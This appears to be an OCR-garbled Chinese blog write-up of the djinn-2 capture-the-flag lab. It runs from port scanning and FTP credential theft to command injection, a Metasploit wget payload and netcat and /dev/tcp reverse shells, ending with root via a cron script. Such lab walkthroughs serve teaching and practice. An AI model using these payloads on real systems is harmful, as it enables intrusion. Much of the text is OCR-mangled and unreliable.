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IP: 192.168.0.107

djinn login:
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21
22
1337
5000
7331

root@kali:~/&if# nmap -p- -A 192.168.0.107
Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 192.168.0.107

Host is up (0.00100s latency).

Not shown: 65530 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| -rw-r--r-- 10 0 14 Jan 12 04:26 creds.txt
-rw-r--r-- 10 0 280 Jan 19 14:10 game.txt
-rw-r--r-- 10 0 275 Jan 19 14:12 message.txt
ftp-syst:

STAT:

Connected to ::ffff:192.168.0.109
Logged in as ftp
TYPE: ASCII

|

|

|

|

| FTP server status:
|

|

|

| No session bandwidth limit


https://blog.csdn.net/weixin_43784056
https://blog.csdn.net/weixin_43784056/category_9604280.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_43784056/article/details/107008701
https://blog.csdn.net/weixin_43784056/category_9604280.html

Session timeout in seconds is 300

Control connection is plain text

Data connections will be plain text

At session startup, client count was 2

vsFTPd 3.0.3 - secure, fast, stable
_End of status
22/tcp open ssh OpenSSH 7.6pl Ubuntu 4ubuntu@.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 22:3c:7f:28:79:44:01:ca:55:d2:48:6d:06:5d:cd:ac (RSA)
| 256 71:e4:82:a4:95:30:20:47:d5:14:fe:3b:c0:10:6c:d8 (ECDSA)
| _ 256 ce:77:48:33:be:27:98:4b:5e:4d:62:2f:a3:33:43:a7 (ED25519)
1337/tcp open waste?

| fingerprint-strings:
|  Genericlines:
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@oxmzfr, Thanks for hiring me.

Since I know how much you like to play game. I'm adding another game in this.

I

I

I

I

I

I

| Math game

| Catch em all

| Exit

| Stop acting like a hacker for a damn minute!!

| NULL:

I -
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@oxmzfr, Thanks for hiring me.

(/0 I T I O I v

Since I know how much you like to play game. I'm adding another game in this.
Math game
| Catch em all
| _ Exit
5000/tcp open http Werkzeug httpd 0.16.0 (Python 3.6.9)
| _http-server-header: Werkzeug/@.16.0 Python/3.6.9
| _http-title: 405 Method Not Allowed
7331/tcp open http Werkzeug httpd 0.16.0 (Python 3.6.9)
| _http-server-header: Werkzeug/@.16.0 Python/3.6.9
| _http-title: Lost in space
1 service unrecognized despite returning data. If you know the service/version, please submit the following
SF-Port1337-TCP:V=7.80%I=7%D=6/28%Time=5EF8AQFA%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1DD, "\x20\x20__ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 \x20_\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___ \|\x20_ \
SF:x20_\x20_\x20_ \x20__ \x20\x20\x20__ \x20\x20\| _ \x20\x20\x20 \(_\)_\x20
SF:_ \x20__ \x20\x20\x20___ \x20\n\|\x20\ |\x20\x20_\x20/\x20_"\x20\|\x20' \
SF:x207\x20_\x20\\\x20/\x20_\x20\\\x20\x20\x20\ | \x20\ | \x20\ | \x20\ |\x20"' \x
SF:207\x20_\x20\\\x20/\x20_\x20\\\n\ | \x20\ | \|\x20\ [\x20\(_\|\x20\|\x20\ ]|\
SF:x20\ | \x20\|\x20\ | \x20\ | \x20\x20__ /\x20\x20\x20\ |\x20\ | \x20\ | \x20\ | \x20\
SF:[\x20\ | \x20\|\x20\ [ \x20\ | \x20\x26__/\n\x20\\__ \|\\_, _\[_\[\x20\|_\|\
SF:x20\ | _\[\\__\[\x20\x20\x20\ [ _\|\x20\ | _\|_\[\x20\|_\[\x20\ | _\|\\_\|\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\X
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:n\nHey\x20@0xmzfr,\x20Thanks\x20for\x20hiring\x20me\.\nSince\x20I\x20kn
SF:ow\x20how\x20much\x20you\x201ike\x20to\x20play\x20game\.\x20I " 'm\x20addi
SF:ng\x20another\x20game\x20in\x20this\.\n1\.\x20Math\x20game\n2\.\x20Catc
SF:h\x20em\x20al1\n3\.\x20Exit\n>\x20")%r(GenericLines,20B, "\x20\x20__ \x




SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\Xx20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20__ \x20_ \x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\n\x20/\x20___ \|\x20__ \x20_\x20_\x20__ \x20__
SF:\x20\x20\x20___ \x20\x20\ | _\x20\x20\x20_\(_\)_\x20__ \x20__ \x20\x20\x20_
SF:__ \x20\n\|\x20\|\x20\x20_\x20/\x20_" \x20\|\x20"'_\x20 \x20_\x20\\\x20/\x
SF:20_\x20\\\x20\x20\x20\ | \x20\ | \x20\ | \x20\ | \x20"' _\x20" \x20_\x20\\\x20/\x2
SF:0_\x20\\\n\ |\x20\ | _\|\x20\|\x20\ (_\|\x20\|\x20\|\x20\ | \x20\ | \x20\ | \x20\
SF:|\x20\x20__/\x20\x20\x20\ | \x20\ | \x20\ | \x20\ | \x20\ | \x20\ | \x20\ | \x20\ | \x2
SF:0\[\x20\x20__/\n\x20\\__\|\\__,_\[_\[\x2@\|_\[\x20\|_\|\\__\|\x20\x2
SF:0\x20\ | _\|\x20\|_\|_\[\x20\|_\|\x20\|_\|\\__\|\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\nHey \x20@0xmzfr, \x20
SF:Thanks\x20for\x20hiring\x20me\.\nSince\x20I\x20know\x20how\x20much\x20y
SF:ou\x201like\x20to\x20play\x20game\.\x20I ' 'm\x20adding\x2@another\x20game\
SF:x20in\x20this\.\n1\.\x20Math\x20game\n2\.\x20Catch\x20em\x20all\n3\.\x2
SF:@Exit\n>\x20Stop\x20acting\x201ike\x20a\x20hacker\x20for\x20a\x20damn\x
SF:20minute!!\n");

MAC Address: ©8:00:27:5E:3A:EC (Oracle VirtualBox virtual NIC)

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
0S:SCAN(V=7.80%E=4%D=6/28%0T=21%CT=1%CU=42754%PV=Y%DS=1%DC=D%G=Y%M=080027%T
0S :M=5EF8A149%P=x86_64-pc-1linux-gnu)SEQ(SP=100%GCD=1%ISR=10B%TI=2%CI=I%II=1
0S:%TS=A)0PS(01=M218ST11NW7%02=M218ST11NW7%03=M218NNT11NW7%04=M218ST11NW7%0
0S:5=M218ST11NW7%06=M218ST11)WIN(W1=28FO%W2=28F0%W3=28F0%WA4=28F@%W5=28F0%W6
0S:=28F0)ECN(R=Y%DF=Y%T=40%W=29E0%0=M218NNSNW7%CC=Y%Q=)T1 (R=Y%DF=Y%T=40%S=0
0S : %A=S+%F=AS%RD=0%Q=)T2 (R=N)T3 (R=N) T4 (R=Y%DF=Y%T=40%W=0%S=A%A=Z%F =R%0=%RD=
0S:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%0=%RD=0%Q=) T6 (R=Y%DF=Y%T=40%W=0%
0S : S=A%A=Z%F=R%0=%RD=0%Q=)T7 (R=Y%DF=Y%T=40%W=0%S=2%A=S+%F=AR%0=%RD=0%Q=) U1 (
0S : R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
0S :N%T=40%CD=S)

Network Distance: 1 hop
Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.00 ms 192.168.0.107

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 97.94 seconds

3. ftpiEiE JFiE M E—MEHL—FEH =40

creds.txt

nitu:7846A$56
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game.txt

@oxmzfr I would like to thank you for hiring me. I won't disappoint you like SAM.
Also I've started implementing the secure way of authorizing the access to our
network. I have provided @nitish81299 with the beta version of the key fob

hopes everything would be good.

- @Ugtan_

EANER T P sam¥ i T ugtan

message.txt

@nitish81299, you and sam messed it all up. I've fired sam for all the fuzz he created and
this will be your last warning if you won't put your shit together than you'll be gone as well.
I've hired @Ugtan_ as our new security head, hope he'll do something good.

- @9xmzfr

XANREE HRHE B AETHE game  txt ERE, WM ERERE X
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root@kali:~/E E# nc 192.168.0.107 1337

L L =
* \
@l e

Hey @@xmzfr, Thanks for hiring me.

Since I know how much you like to play game. I'm adding another game in this.
1. Math game

2. Catch em all

3. Exit

P30 |

I see you wanna do some Mathematics. I think you know the rule

Let's start then

— Stephen (not morris)

RIGE M MBE=AHEEE B



rootakali:~/S£ @ # nc 192,168.0.107 1337
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Hey @@xmzfr, Thanks for hiring me.
Since I know how much you like to play game. I'm adding another game in this.
1. Math game
2. Catch em all
3. Exit
> 2
Connecting to the game server
Unable to connect to the game server!
rootgkali:~/£E# nc 192.168.0.107 1337

R )
GEaRmesiinne

Hey @@xmzfr, Thanks for hiring me.

Since I know how much you like to play game. I'm adding another game in this.
1. Math game

2. Catch em all

3. Exit

>3

Adios amigos

rootakali:~/£m@ # || https://blog.csdn.neth

5. V7a5000% 0, BRTTEAN Y

< C © A=%£| 192.168.0.107:5000

Method Not Allowed

The method is not allowed for the requested URL.

X A PARE B iZ R fo Ve F gety Rk AT 5 1), T R burpsuitil e #efipost sy 2, X Bt 8] L#E B kIR
hackbarf@ift, 27 25V ERaccess denied, #2E1ET, BUERE

POST /HTTR/M A HTTR/1.0 200 OK

Host: 192.168.0.107:5000 J Content-Type: text/html; charset=utf-5
Pragma: no-cache Content-Length: 15

Cache-Caontral: no-cache Server: Werkzeug/0.16.0 Python/3.6.9
Upgrade-Insecure-Requests: 1 Date: Sun, 28 Jun 2020 14:10:24 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.36 (KHTWML, like

Gecko) Chrome/B3.0.4103.106 Safan/o37.36 Access Denied!!

Accept:

text/html, application/xhtml+xml application/xml; q=0.9 image/webp image/apng ™ q=0.8,
application/signed-exchange;v=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM zh;q=09

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: O

KriE A9 15 W] LA FHOPTIONS 75 AT Vi I, IXANJ5 %W LA B AL VU 1 975 3K, RIXANTT B fe vk



1 L 1 1 — L L L 1

OPTIONS f HTTP/M 1 i HTTR/1.0 200 0K

Haost: 192.168.0.107:5000 8 Content-Type: text/html; charset=utf-8
Pragma: no-cache Allow: POST, OPTIONS
Cache-Control: no-cache ltﬂﬂﬂﬁﬁFtEﬂﬁﬂTTT""'J
Upgrade-Insecure-Requests: 1 Server: Werkzeug/0.16.0 Python/3.6.9
User-Agent: MozillaSs.0 (Windows MT 10.0; WOWE4) AppleWebkKit/a37 .36 (KHTNL, like Date: Sun, 28 Jun 2020 14:10:47 GMT
Geckao) Chrome/B3.0.4103.106 Safari/s37.36

Accept:

text/html application/xhtml+xml application/xml;q=0.9 imagefwebp image/apng *™,q=0.8,
application/signed-exchange;v=hb3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM,zh;q=0.9

Connection: close

Caontent-Type: application/x-www-form-urlencoded

Content-Length: O

6. 7331 M, RERKEE —TwishBx, RAUXECLHEBRET, REBFEREAFMH, KhEAFA
BAB - PERAXERNER, BRI AT a8 B R — 4R

< C O 4==£| 192.168.0.107:7331/wish

Oh you found me then go on make a wish.

This can make all your wishes come true

Wish:\ |

PS: The Security Vulnerability on this page has been patched.
Request Send to God

| Submit |
ERRFEOUFHRARTRET, ERAM—THX

robots.txt
source
wish

Gobuster v3.0.1
by 0] Reeves (@TheColonial) & Christian Mehlmauer

Url: http://192.168.0.107:7331
Threads: 10

Wordlist: J/usr/share/wordlists/dirb/big.
Status codes: 200,204,301,302,307,401,403
User Agent: gobuster/3.0.1

Timeout:

/06/28 22:14:34 Starting gobuster

/robots.txt (Status: 200)
/source (Status: 20@)
fwish (Status: 20@)

2020/06/28 22:16:40 Finished

rootgkali:



7. VjiHrobots.txtf3 £l/letshackH 3, Wi O#BEAT T UIH, MEREE, BEMIFEEEH
< C O 4% 192.168.0.107:7331/robots.txt

fletshack

wishBREMNELRE T, BT REEV Rsource, RMBETRT —AXH, FTHERIZApythonfii4

import re

from time import sleep

import requests

URL = "http://{}:5000/?username={}&password={}"

def check_ip(ip: str):

Check whether the input IP is valid or not

if re.match(r'~(?:(25[0-5]]|2[6-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])"
"(\.(2!13)[$)){4}%", ip):
return True
else:

return False

def catcher(host, username, password):
try:
url = URL.format(host, username, password)
requests.post(url)
sleep(3)

except Exception:



pass

print("Unable to connect to the server!!")

def main():

print("If you have this then congratulations on being a part of an awesome organization")

print("This key will help you in connecting to our system securely.")

print("If you find any issue please report it to ugtan@djinn.io")

ip = input('\nIP of the machine: ")

username = input('Your username: ')

password

input('Your password: ')

if ip and check_ip(ip) and username == "REDACTED" and password == "REDACTED":

print("Verifiying %s with host %s " % (username, ip))

catcher(ip, username, password)

else:

print("Invalid IP address given")

__main__":

if _ _name__

main()

PATHI R Ut R S E R A\ip. username. password, 05 2 ERipi=R. usernameflpassword#f &
REDACTED, &4 Hpostys & 21 [ http://ip:5000?username=REDACTED&password=REDACTED, XA 2
B % 7 RIRI R 2 post 7y 27 1] 950008k C W, (HRZERMNERELT, XTE THABMEEHLRL, %
BERELAVRT, HEREEEHAFEHANGEE



Host: 192.168.0.107:5000
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1

Gecko) Chrome/83.0.4103.106 Safari/537.36
Accept:

application/signed-exchange;w=h3;9=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CM zh;g=0.9

Connection: close

Content-Type: application/c-www-form-urlencoded
Content-Length: O

8. BT XEEAMEAMLKET, ENER—F, RKIHREusernameiX NS Hix B af LLit{Trce (ps: &

BiREct 7))

POST fPusername=REDACTED&password=REDACTED HTTF/M.1

User-Agent: Mozilla/5.0 (Windows MNT 10.0; WOWE4) AppleWebKit/537 36 (KHTML, like

text/html application/xhtml+xml application/xml, g=0.9 image/webp image/apng "/, q=0.8,

HTTRA.0 200 CK
Content-Type: text/html; charset=utf-3
Content-Length: O
Server. Werkzeug/D.16.0 Python/3.6.9
Date: Sun, 28 Jun 2020 14:23:26 GMT

L

\
Uit

POST /2username=id&password=REDACTED HTTF/1.1
Host: 192.168.0.107:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

Gecko) Chrome/83.0.4103.106 Safani/537.36
Accept:

application/signed-exchange;v=h3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/s-www-form-urlencoded
Content-Length: 0

REERZREH—EREshel IR RATH, MiZR2ALE, B85 TXHFNE,

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.36 (KHTML, like

text/html application/xhtml+xml applicationfxml;q=0.9 image/fwebp imagefapng, "™ q=0.8,

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf8
Content-Length: 54

Server, Werkzeug/0.16.0 Python/3.6.9
Date: Sun, 28 Jun 2020 14.25:57 GMT

e

BELE T4

uid=33 (www-data) gid=33{www-data) groups=33(www-data)

POST fPusername=cat+app pyﬁgpassword:REDACTED HTTR/ .1

Host: 192.168.0.107:5000

Fragma: no-cache

Cache-Contral: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/83.0.4103.106 Safari/537 .36

Accept:

application/signed-exchange;vw=h3;q=0.9
Accept-Encoding: gzip, deflate

Acecept-Language: zh-CN,zh;g=0.9

Connection: close

Content-Type: application/s-www-form-urlencoded
Content-Length: O

RESERTARE

text/html application/xhtml+xml application/xml;q=0.9 imagefwebp imagefapng "/ q=0.8,

e

import subprocess
from flask import Flask, request

app = Flask(__name__)
app.secret_key = "key"

RCE = [1", ™, "A", "§", "", "nc", "hash”, "hin", "eval”, "python"]

def validate (cmd):
try:
foriin RCE:
ifiin cmd:
return False
return True
except Exception:
return False

@app.route(”/", methods=["POST"))
def index():
command = request.args.get("username”)
if validate(command):
output = subprocess.Popen{command, shell=True,
stdout=subprocess.PIPE).stdout.read()
else:
output = "Access Denied!!"
return output

if _name__=="_main__"
app.run(host="0.0.0.0", debug=False)

(1) ATCAEAHHT 2 — A shel A, REH—RETA#EE, BEMAwgetdr & TREEHK/MpERT,

BLETTTRIR, REAMITE BT HiETHA



(2) X BBAR RGBT AT = 20 B 468 F st 38 1K 77 X

msfconsole

use exploit/multi/script/web_delivery

set target 6

set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.109

run

BT EHAX LGS FEMATUEE — RIS, XEmSRERRMRE —MTEBENERLS

msf5 exploit( ) > run
Exploit running as background job 1.
Exploit completed, but no session was created.

Started reverse TCP handler on 192.168.0.109:4444
Using URL: http://8.0.0.0:8000/yUsaNirqzed

Local IP: http://192.168.0.109:8080/yUsaNirqzéd

Server started.

Run_the following command on the target machine:
wget -q0 zRW1Xp6I —no-check-certificate http://192.168.0.109:8000/yUsaNirqz@d; chmod +x zRW1Xp6I; ./zRW1Xp6I& disown
msth exploit( N |

il RZ EREER=A:

(D PREEREIR LXPUT, BRI S8

(2) ST NRERMEHATH, T EH %2080+ &
(3) THZJETEEEHENtmp, Pl LK< HEEH—RA

FOST i HTTP/1.0 200 OK
J?username=wget+qO0+tmp/zRW1 XpBl+-no-check-certificate+http: /1192.168.0.109:800 1 Content-Type: text/html; charset=utf-8
OfyUsaNirgz0d&password=REDACTED HTTF/ A1 Content-Length: 0
Host: 192.168.0.107:5000 Server: Werkzeug/0.16.0 Python/3.6.9
Pragma: no-cache Date: Sun, 28 Jun 2020 14:40:56 GMT

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit/a37.36 (KHTML, like
Gecko) Chrome/83.0.4103.106 Safarifa37.36

Accept:

text/html application/xhtml+xml applicationfxml; g=0.9 image/webp image/apng, M q=0.8,
application/signed-exchange)v=hb3;0=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

POST f?username=n:hmud+???+ﬂmpszW1XpEIFpassworFREDACTED HTTF/1 1 : HTTR/1.0 200 OK
Host: 192.168.0.107:5000 Content-Type: text/html; charset=utf-8
Pragma: no-cache Content-Length: O
Cache-Contral: no-cache Semver: Werkzeug/D.16.0 Python/3.6.9
Upgrade-Insecure-Requests: 1 Date: Sun, 28 Jun 2020 14:43:44 GMT

User-Agent: Mozilla/z.0 (Windows NT 10.0; WOWE4) AppleWebKit/a37 .36 (KHTML, like
Geckao) Chrome/83.0.4103.106 Safari/537.36

Accept:

text/html application/xhtml+xml applicationfxml;q=0.9 imagefwebp image/fapng,*™;0=0.8,
application/signed-exchange;v=h3;q=0.9

Accept-Encaoding: gzip, deflate

Accept-Language: zh-CM zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: O




POST f?username=ftmpszW1XpEIﬁpassworFREDACTED HTTF/1.1

Host: 192.168.0.107:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWE4) AppleWeblit/537 .36 (KHTML, like
Gecko) Chrome/83.0.4103.106 Safari/537.36

Accept:

text/html application/xhtml+xml application/xml;q=0.9 image/webp image/apng, ™ q=0.8,
application/signed-exchange;vw=hb3;q=0.9

Accept-Encading: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/s-www-farm-urlencoded

Content-Length: O

msf5 T = 4 seseion

msf5 exploit( ) > sessions

Active sessions

Type Information Connection

meterpreter x64/linux no-user @ djinn (uid=33, gid=33, euid=33, egid=33) @ 192.168.0.107 192.168.0.109:4444 — 192.168.0.107
147066 (192.168.0.107)

msf5 exploit( N |

9. REHZpython3iI—TF, #E/var/backupsHF T KM —AnitukdbxslfF (ps: R EFIHEENE T, £2&
BHHD

H 4 RKDBXCHE:? HWindows % 2% %54 % 3 8s Kee Pass Password Safefll & S A8 2500 (1) o 35 S
B, ZBHEERGBERARAPREMNEZLHITES:; HTREFMMEWindows, BT, FTPM#i&, BF
S5k U A B A A B FEE . KDBXH R &2 KeePassHI2fR A 5] A K.

TR BAM, FTiERE, XERMEMHRZpython3, MZHTpython2f AR —1

python3 -m http.server [¥5H]

A F keepass24T FF 304, %\ Z BiftpH creds. txt 4 155 15 7846 A$56



File Group Entry Find View Tools Help

UEH<S- 2T@-¢&H o ¢

| URL | Notes

Title | User Name | Password v

nitu
It'ssohardto rI

=Y General 2 ity Nitish
2 Windows

2 Network

@ Internet

2 eMail

% Homebanking
@ Recycle Bin

LSS S8

0of 1 selected Ready.

REWDHEZEAREFRHEEHRT URREG T
nitish/&HtMGA$LIB
10. sshB3x, BHAHuBERE # I 5 K BLIE7E M5 Wr 284 3%

netstat -ano



nitish@djinn:~$%$ netstat -ano
Active Internet connections ervers and ustabllshud}
Proto Recv-0 Send-( Lo al Add 5 - Address State Timer

0 : : 0.0 0 LISTEN off {
0 3 0.0:! 0 0 LISTEN off {
[0} D 127.0.0.° 3 0.0.C LISTEN off
0 : LISTEN off (
0 : 0.0.] 0.0.0: LISTEN off (
0 g 2 LISTEN off (
0 B 17 1:601€ g g LISTEN off (
6] | . 3 LISTEN off (
[0} 288 1 ., ] 'Z':'o__ ESTABLISHED on (@ /
0 518 192.168.0.107: ! 1. 1] 43 FIN WAIT1 on (5.69/0
0 B 192.168 § ; ";. 8 444 ESTABLISHED off (
0 0 192.168.0.107:22 192.168.0.101:18562 ESTABLISHED Pﬂﬂpallvu (7164 72/60/0)
[0} 3 ] * LISTEN off
) : LISTEN off
0 . LISTEN off
[0} : § Tic* LISTEN off
43008 : 0.6 3 3 p:* off
0] ; . 0. 168 0.0 B:* off
udp6 0 0 : : off
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
2 [ 1 DGRAM 46 Jrunfuser/1000/systemd/notify
SEQPACKET LISTENING 1'666 Jrun/ude ntrol
STREAM LISTENING 46231 Jrun/u 0 systumdfprlvatu
STREAM LISTENING / Jrun/u 3 g/5. :
STREAM LISTENING : Jrun/u g d r
STREAM LISTENING : Jrun/u ] g g/5.gpg .browser
STREAM LISTENING : Jrun/u g/5. .extra
STREAM LISTENING d } Jrun/u 9 g a. ag .ssh
STREAM LISTENING
STREAM LISTENING 19858

ERNCAMERZ —T, WAKSHEEEINE

nc 127.0.0.1 2843

nitish@djinn:~% nc 127.0.8.1 2843
username: nitish

Password: &HtMGd$LJIB

Show all members.

Add a new user.

Show all tasks.

Add a new task.

Add a note for admin.

Read notes.

Ex

[

2.
]
s
4

[}

| =1

|
W

log.csdn.netfy

X BRI LA ShRE IR RSB 4B HRER, EEHBFANHNME, RUT —BER, UWFEEE
notesfIBH &, <EnamelE N4 cat—TF



== b
Important.txt

= 1
cat: Important.txt: No such file or directory
Hey ugtan for me Security is very Important and I don't want you to mess this up
so please Tix all the security issus y ently discovered
and let me enjoy my DAMN vacations.
bt

Show all members.
Add a new user.
Show all tasks.

Add a new task.

Add a note for admi
Read notes.

1. Show all members.
Add a new u -
- Show all tasks.
a new task.
e for admin.

1 Important.txt
2/passwd

b'root:x root:/root:/bin/bash\ndaemon:>
bin/sync\nge VRN /usr/sbin/nologin\nman an:/ an : / sbin; n\nlp:x

:1:1:daemon:/usr/sbin:/usr/sbin/nolegin\nbin: : 14 H r/sbin/nologin\nsys:x: H3'%CH v:/usr/sbin/nologin\nsync
1p:/var/spool/1 sbin/nologin\nmail

:9:news:/var/spool/news :/usr/sbin/nologin\nuucp:x:10:18: p:/var/spool/uucp:/usr/sbin/nologin\nprox :13:13:proxy:/bin:/usr/sbin/noloc

/sbin/nologin\nnews :

/nologin\r 04 rti y! X md
Network Manac 1 : 01:103: 02:106: : /home/syslog:/usr/sbin/
nologin\nmessai 0 0 i X r : 0 0::/run/uuidd: fus
sbin/nologin\r Smas var/lib/misc
:10 :/bin/bash\nssh
/var/spool/postfi. usr/sbin/nologin\n*

/usr/sbin/nologin\npollinate pollinate
l:umang taneja,,,:/home/ugtan

. Show all members.
Add a new user.
Show all tasks.
a new task.
Add a note for admin.

BETRMRBEERARMGIEN, B EnameN/etc/passwd|id, KILH 2 ugtan



Name of the note: . "“H/etc/passwd]|id
Description: 123

Note added succesfully!

Show all members.
Add a new user.
Show all tasks.
Add a new task.
Add a note for admin.
Read notes.
. Exit

== b

1 Important.tixt

2/passwd

3 /etc/passwd

4 ./etc/passwd|id

=== 4
cat: 'L, '$'\b''/etc/passwd': No such file or directorv
123 bfuid=1001(ugtan) gid=1001{ugtan) groups=1001(ugtan)in

Show all members.

Add a new user.

Show all tasks.

Add a new task.

Add a note for admin.

Read notes.

Exit

S | https://blog.csdn.net/weixin_43784056

1.
2.
3.
4.
5.
6.
7.

BEMRR#shell, T ReBEEMHbashik3#, {#Hrevshellgen4: ipayload, kL& #shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.109 6666 >/tmp/f

Name of the note: 123|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2=&1|nc 192.168.0.109 6666 =/tmp/T
Description: 123

Note added succesfully!

. Show all members.
. Add a new user.
. Show all tasks.
. Add a new task.
. Add a note for admin.
. Read notes.
. Exit
== 6
1 Important.txt
2/passwd
3 /etc/passwd
4 ./etc/passwd|id
/etc/passwd|bash -i =& /dev/tcp/192.168.0.109/6666 0=&1
6 /etc/passwd;bash -i =& /dev/tcp/192.168.0.109/6666 0=&1
7 123|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2=&1|nc 192.168.0.109 6666 =/tmp/T

cat: 123: No such file or directory

rm: cannot remove '/tmp/f': No such file or director
I P y https://blog.csdn.net/weixin_43784056




rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.109 6666 >/tmp/f

[

] Reverse shell command copied to clipboard!

1
[ + 1 In case you want to upgrade your shell, you can use this:

python -c 'import pty;pty.spawn(”/bin/bash")'

[

[ x] yes

listening on [any] 6666 ...

connect to [192.168.0.109] from (UNKNOWN) [192.168.0.104] 36486

bash: cannot set terminal process group (1463): Inappropriate ioctl for device
bash: no job control in this shell

ugtan@djinn:/$ I

1. BERRERMN Broot, fE/var/mail B F TA —H i, WEEugtanIRBFR TRIRT XX, 26—
€ I E 451217 clean.sh

From root@djinn Mon Jan 13 19:36:24 2020

Return-Path: <root@djinn>

X-Original-To: ugtan@djinn

Delivered-To: ugtan@djinn

Received: by djinn (Postfix, from userid 0)
id E2B7C82E9F; Mon, 13 Jan 2020 19:36:24 +0530 (IST)

Subject: Way to clean up the systems

To: <ugtan@djinn>

X-Mailer: mail (GNU Mailutils 3.4)

Message-Id: <20200113140624.E2B7C82E9F@djinn>

Date: Mon, 13 Jan 2020 19:36:24 +0530 (IST)

From: root <root@djinn>

Hey @xmzfr,

I've setup the folder that you asked me to make in my home directory,
Since I'd be gone for a day or two you can just leave the clean.sh in
that directory and cronjob will handle the rest.

- Ugtan_

12, HANBIKHF, KIbest/admin/everisz, #HANFIHTH, ¥ K#Hshell—4)iES AFclean.sh, AT,
ME—= (EREFERB=2HHIT V0O

echo "bash -i >& /dev/tcp/192.168.0.109/8888 0>&1" >clean.sh
chmod 777 clean.sh

R
ugtan@djinn:/home/ugtan/best/admin/ever$ echo "bash -i >& /dev/tcp/192.168.0.109/8888 0>51" >clean.sh
<h -i »>& /dev/tcp/192.168.0.109/8888 0>§1" >clean.sh

ugtan@djinn:/home/ugtan/best/admin/ever$ cat clean.sh

cat clean.sh

bash -i >& /dev/tcp/192.168.0.109/8888 0>&1
ugtan@djinn:/home/ugtan/best/admin/ever$ chmod 777 clean.sh
chmod 777 clean.sh

ugtanadjinn:/home/ugtan/best/admin/ever$ |

RIh R, @iTproof.sh, BiELH



rootgkali:~/S ®E# nc -lvnp 8888

listening on [any] 8888 ...

connect to [192.168.0.109] from (UNKNOWN) [192.168.0.104] 38592

bash: cannot set terminal process group (1612): Inappropriate ioctl for device
bash: no job control in this shell

rootadjinn:~# ||

rootadjinn:~# 1s

1s

proof.sh

scripts

rootadjinn:~# ./proof.sh

./proof.sh

TERM environment variable not set.
./proof.sh: line 9: figlet: command not found
djinn-2 pwned ...

Proof: cHduZWQgZGppbm4tMiBsaWtlIGEgYm9zcwo=
Path: /root

Date: Mon Jun 29 @8:18:53 IST 2020

Whoami: root

By a@xmzfr
Thanks to my fellow teammates in am@tl3ycr3w for betatesting! :-)
If you enjoyed this then consider donating (https://mzfr.github.io/donate/)

s0 I can continue to make these kind of challenges.
rootadjinn:~# | htt

13, #h78

